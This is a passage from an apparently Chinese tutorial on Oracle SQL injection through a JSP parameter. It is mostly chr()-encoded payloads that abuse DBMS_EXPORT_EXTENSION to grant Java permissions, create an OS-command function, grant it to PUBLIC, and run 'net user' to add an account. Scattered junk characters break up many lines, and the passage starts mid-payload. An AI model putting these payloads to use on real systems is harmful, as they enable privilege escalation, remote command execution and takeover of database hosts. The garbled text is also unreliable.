chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||4 |" @; q6 E# ]
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
" x0 ^( P, r; V- C* j,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
; b5 w6 l* v$ W5 K7 h8 [- g- T  W8 U
): S- o6 s0 e/ I1 G! G: @
  w8 V1 A6 d& E+ e5 I  `) C
------------------------------
, U' V: i% b% J( e/ h* {- }" S. A: c3 ^% l# O4 W9 ~( D
2.赋Java权限+ X) m' {. f% J# G7 `8 E
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
0 K5 e5 I) H4 h- E. }: y0 d& I* X+ t5 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
9 e( X2 r, P: _chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||9 |7 M: e: K  T0 t5 a  w
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||2 f! l% V" L8 j/ V3 E$ X
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 n& E  P2 Y8 X% f" i* nchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||5 j  O0 f5 X5 @0 j. v" ]+ q
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||) x# |) X6 [' ]" f2 l1 w7 M
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
; {9 c& f4 ?( g1 {chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
$ Z. o2 P; v- kchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||( s+ U+ \9 n$ e; w
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
1 z4 x: h, k- n* \% q,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 M5 Z9 d1 M; z# _
; k; ?4 s; E( k, y7 F
)
- i& l' l; X2 J9 C( e
7 x0 S& W5 P3 _  d, y- T) Greadfile函数的ascii版就不写了,见谅。2 I. ?8 F  Y  X; V
( H. R/ _6 V$ {/ o
3.创建函数
- u7 N  Y) u1 M' [
+ P7 |' X1 [( o" W. I3 uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),  c, B; O* y- P1 M0 d: F( d
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||0 Z" V' e$ d' \8 G3 x# Y
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||" z" Q- q; r8 J, n+ `% \
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 x- ]" e9 Y3 I' lchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||6 c' o/ I/ A5 A  c" f# k. q* |/ }
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||' N% r8 n4 k' m' j* H
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
2 D, e8 x) r/ w  D& c. p2 q' Gchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
4 L; \$ q* G0 W4 r5 H5 `' Wchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
# y8 w$ c9 I2 C% d  [( Achr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||2 s8 b. y5 @- c( v& @
chr(59)||chr(45)||chr(45)6 h( _. z) P0 V9 {# Z; P4 s8 j
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 S8 z. Q- D  Z5 y/ Y

. I6 Z) I9 l, D1 `( x" \, L7 l2 t. S* M
0 [6 v: B4 q7 T) M! b/ c5 L8 k
4.赋public执行函数的权限
8 P" o% {; E& A; q* e7 K, J) j( s# U5 j1 I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
$ J1 M! v, J1 z# Z: T# ~: g  dchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
- r/ v5 Y1 ]4 schr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
' I3 b  W; k: _7 z: hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||6 L9 L( u" M- Q! i
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
" g1 F+ i5 ]+ z, q& \. Gchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
7 P! {/ m* Y0 r3 V, P4 Xchr(59)||chr(45)||chr(45)
3 D( W! x0 q7 x7 y4 A) X1 B,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 c! y8 X5 Y1 N) Z
1 G' d, `' j; V

4 s" l3 ^7 f1 D% N, A: {8 S# p2 z
0 N+ H4 t7 ]% U# ^$ {! {5.执行命令:
6 \$ q, l7 v. g2 f9 {+ }" f
3 Z- M3 z6 [  }# C' v# \  b, x/xxx.jsp?id=1 and chr(49)<>chr(32)||(
; d+ z# {6 o2 D: nselect sys.LinxRunCMD('cmd /c net user linx /add') from dual9 T- S3 Z0 W0 r4 s0 [6 J# }
)/ H% H: ^6 R: R3 n, f1 V  \7 p8 @
9 m. ]# j1 ^+ K- L4 V
% l+ r: v5 `4 F. q: q
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
5 A5 M7 f& d# I6 h% C/ d  wselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual$ m* c/ n5 i' O
)9 d9 c; w- r! f: J





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